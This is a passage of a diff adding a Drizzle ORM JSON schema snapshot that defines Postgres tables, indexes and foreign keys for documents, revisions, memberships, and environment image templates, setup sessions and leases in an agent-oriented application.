+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "document_annotation_threads_exactly_one_owner_chk": {
+          "name": "document_annotation_threads_exactly_one_owner_chk",
+          "value": "num_nonnulls(\"document_annotation_threads\".\"issue_id\", \"document_annotation_threads\".\"routine_id\", \"document_annotation_threads\".\"case_id\") = 1"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.document_memberships": {
+      "name": "document_memberships",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "starred_at": {
+          "name": "starred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_memberships_company_user_starred_idx": {
+          "name": "document_memberships_company_user_starred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "starred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_memberships_company_user_document_uq": {
+          "name": "document_memberships_company_user_document_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_memberships_company_id_companies_id_fk": {
+          "name": "document_memberships_company_id_companies_id_fk",
+          "tableFrom": "document_memberships",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_memberships_document_id_documents_id_fk": {
+          "name": "document_memberships_document_id_documents_id_fk",
+          "tableFrom": "document_memberships",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.document_revisions": {
+      "name": "document_revisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "revision_number": {
+          "name": "revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "format": {
+          "name": "format",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'markdown'"
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "change_summary": {
+          "name": "change_summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_revisions_document_revision_uq": {
+          "name": "document_revisions_document_revision_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "revision_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_revisions_company_document_created_idx": {
+          "name": "document_revisions_company_document_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_revisions_company_id_companies_id_fk": {
+          "name": "document_revisions_company_id_companies_id_fk",
+          "tableFrom": "document_revisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_revisions_document_id_documents_id_fk": {
+          "name": "document_revisions_document_id_documents_id_fk",
+          "tableFrom": "document_revisions",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_revisions_created_by_agent_id_agents_id_fk": {
+          "name": "document_revisions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "document_revisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_revisions_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "document_revisions_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "document_revisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.documents": {
+      "name": "documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "format": {
+          "name": "format",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'markdown'"
+        },
+        "latest_body": {
+          "name": "latest_body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "latest_revision_id": {
+          "name": "latest_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "latest_revision_number": {
+          "name": "latest_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "locked_at": {
+          "name": "locked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "locked_by_agent_id": {
+          "name": "locked_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "locked_by_user_id": {
+          "name": "locked_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "documents_company_updated_idx": {
+          "name": "documents_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "documents_company_created_idx": {
+          "name": "documents_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "documents_title_search_idx": {
+          "name": "documents_title_search_idx",
+          "columns": [
+            {
+              "expression": "title",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "documents_latest_body_search_idx": {
+          "name": "documents_latest_body_search_idx",
+          "columns": [
+            {
+              "expression": "latest_body",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "documents_company_id_companies_id_fk": {
+          "name": "documents_company_id_companies_id_fk",
+          "tableFrom": "documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "documents_created_by_agent_id_agents_id_fk": {
+          "name": "documents_created_by_agent_id_agents_id_fk",
+          "tableFrom": "documents",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "documents_updated_by_agent_id_agents_id_fk": {
+          "name": "documents_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "documents",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "documents_locked_by_agent_id_agents_id_fk": {
+          "name": "documents_locked_by_agent_id_agents_id_fk",
+          "tableFrom": "documents",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "locked_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.environment_custom_image_setup_sessions": {
+      "name": "environment_custom_image_setup_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "template_id": {
+          "name": "template_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "promoted_template_id": {
+          "name": "promoted_template_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_lease_id": {
+          "name": "provider_lease_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "environment_lease_id": {
+          "name": "environment_lease_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'starting'"
+        },
+        "started_by_user_id": {
+          "name": "started_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_by_agent_id": {
+          "name": "started_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "base_template_ref": {
+          "name": "base_template_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_summary": {
+          "name": "connection_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_secret_ref": {
+          "name": "connection_secret_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "environment_custom_image_setup_sessions_environment_status_idx": {
+          "name": "environment_custom_image_setup_sessions_environment_status_idx",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_environment_active_uq": {
+          "name": "environment_custom_image_setup_sessions_environment_active_uq",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"environment_custom_image_setup_sessions\".\"status\" IN ('starting', 'waiting_for_user', 'capturing')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_template_idx": {
+          "name": "environment_custom_image_setup_sessions_template_idx",
+          "columns": [
+            {
+              "expression": "template_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_promoted_template_idx": {
+          "name": "environment_custom_image_setup_sessions_promoted_template_idx",
+          "columns": [
+            {
+              "expression": "promoted_template_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_expires_idx": {
+          "name": "environment_custom_image_setup_sessions_expires_idx",
+          "columns": [
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_provider_lease_idx": {
+          "name": "environment_custom_image_setup_sessions_provider_lease_idx",
+          "columns": [
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_lease_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "environment_custom_image_setup_sessions_environment_id_environments_id_fk": {
+          "name": "environment_custom_image_setup_sessions_environment_id_environments_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_setup_sessions_template_id_environment_custom_image_templates_id_fk": {
+          "name": "environment_custom_image_setup_sessions_template_id_environment_custom_image_templates_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "environment_custom_image_templates",
+          "columnsFrom": [
+            "template_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_setup_sessions_promoted_template_id_environment_custom_image_templates_id_fk": {
+          "name": "environment_custom_image_setup_sessions_promoted_template_id_environment_custom_image_templates_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "environment_custom_image_templates",
+          "columnsFrom": [
+            "promoted_template_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_setup_sessions_environment_lease_id_environment_leases_id_fk": {
+          "name": "environment_custom_image_setup_sessions_environment_lease_id_environment_leases_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "environment_leases",
+          "columnsFrom": [
+            "environment_lease_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_setup_sessions_started_by_agent_id_agents_id_fk": {
+          "name": "environment_custom_image_setup_sessions_started_by_agent_id_agents_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "started_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.environment_custom_image_templates": {
+      "name": "environment_custom_image_templates",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "template_kind": {
+          "name": "template_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "template_ref": {
+          "name": "template_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_template_ref": {
+          "name": "source_template_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_environment_config_fingerprint": {
+          "name": "source_environment_config_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "captured_at": {
+          "name": "captured_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "superseded_by_template_id": {
+          "name": "superseded_by_template_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "environment_custom_image_templates_environment_status_idx": {
+          "name": "environment_custom_image_templates_environment_status_idx",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_templates_environment_provider_status_idx": {
+          "name": "environment_custom_image_templates_environment_provider_status_idx",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_templates_environment_active_uq": {
+          "name": "environment_custom_image_templates_environment_active_uq",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"environment_custom_image_templates\".\"status\" = 'active'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_templates_superseded_by_idx": {
+          "name": "environment_custom_image_templates_superseded_by_idx",
+          "columns": [
+            {
+              "expression": "superseded_by_template_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_templates_last_used_idx": {
+          "name": "environment_custom_image_templates_last_used_idx",
+          "columns": [
+            {
+              "expression": "last_used_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "environment_custom_image_templates_environment_id_environments_id_fk": {
+          "name": "environment_custom_image_templates_environment_id_environments_id_fk",
+          "tableFrom": "environment_custom_image_templates",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_templates_created_by_agent_id_agents_id_fk": {
+          "name": "environment_custom_image_templates_created_by_agent_id_agents_id_fk",
+          "tableFrom": "environment_custom_image_templates",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_templates_superseded_by_template_id_environment_custom_image_templates_id_fk": {
+          "name": "environment_custom_image_templates_superseded_by_template_id_environment_custom_image_templates_id_fk",
+          "tableFrom": "environment_custom_image_templates",
+          "tableTo": "environment_custom_image_templates",
+          "columnsFrom": [
+            "superseded_by_template_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.environment_leases": {
+      "name": "environment_leases",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "lease_policy": {
+          "name": "lease_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'ephemeral'"
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_lease_id": {
+          "name": "provider_lease_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "acquired_at": {
+          "name": "acquired_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_at": {
+          "name": "released_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cleanup_status": {
+          "name": "cleanup_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "environment_leases_company_environment_status_idx": {
+          "name": "environment_leases_company_environment_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_company_execution_workspace_idx": {
+          "name": "environment_leases_company_execution_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_company_issue_idx": {
+          "name": "environment_leases_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_heartbeat_run_idx": {
+          "name": "environment_leases_heartbeat_run_idx",
+          "columns": [
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_company_last_used_idx": {
+          "name": "environment_leases_company_last_used_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "last_used_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_provider_lease_idx": {
+          "name": "environment_leases_provider_lease_idx",
+          "columns": [
+            {
+              "expression": "provider_lease_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
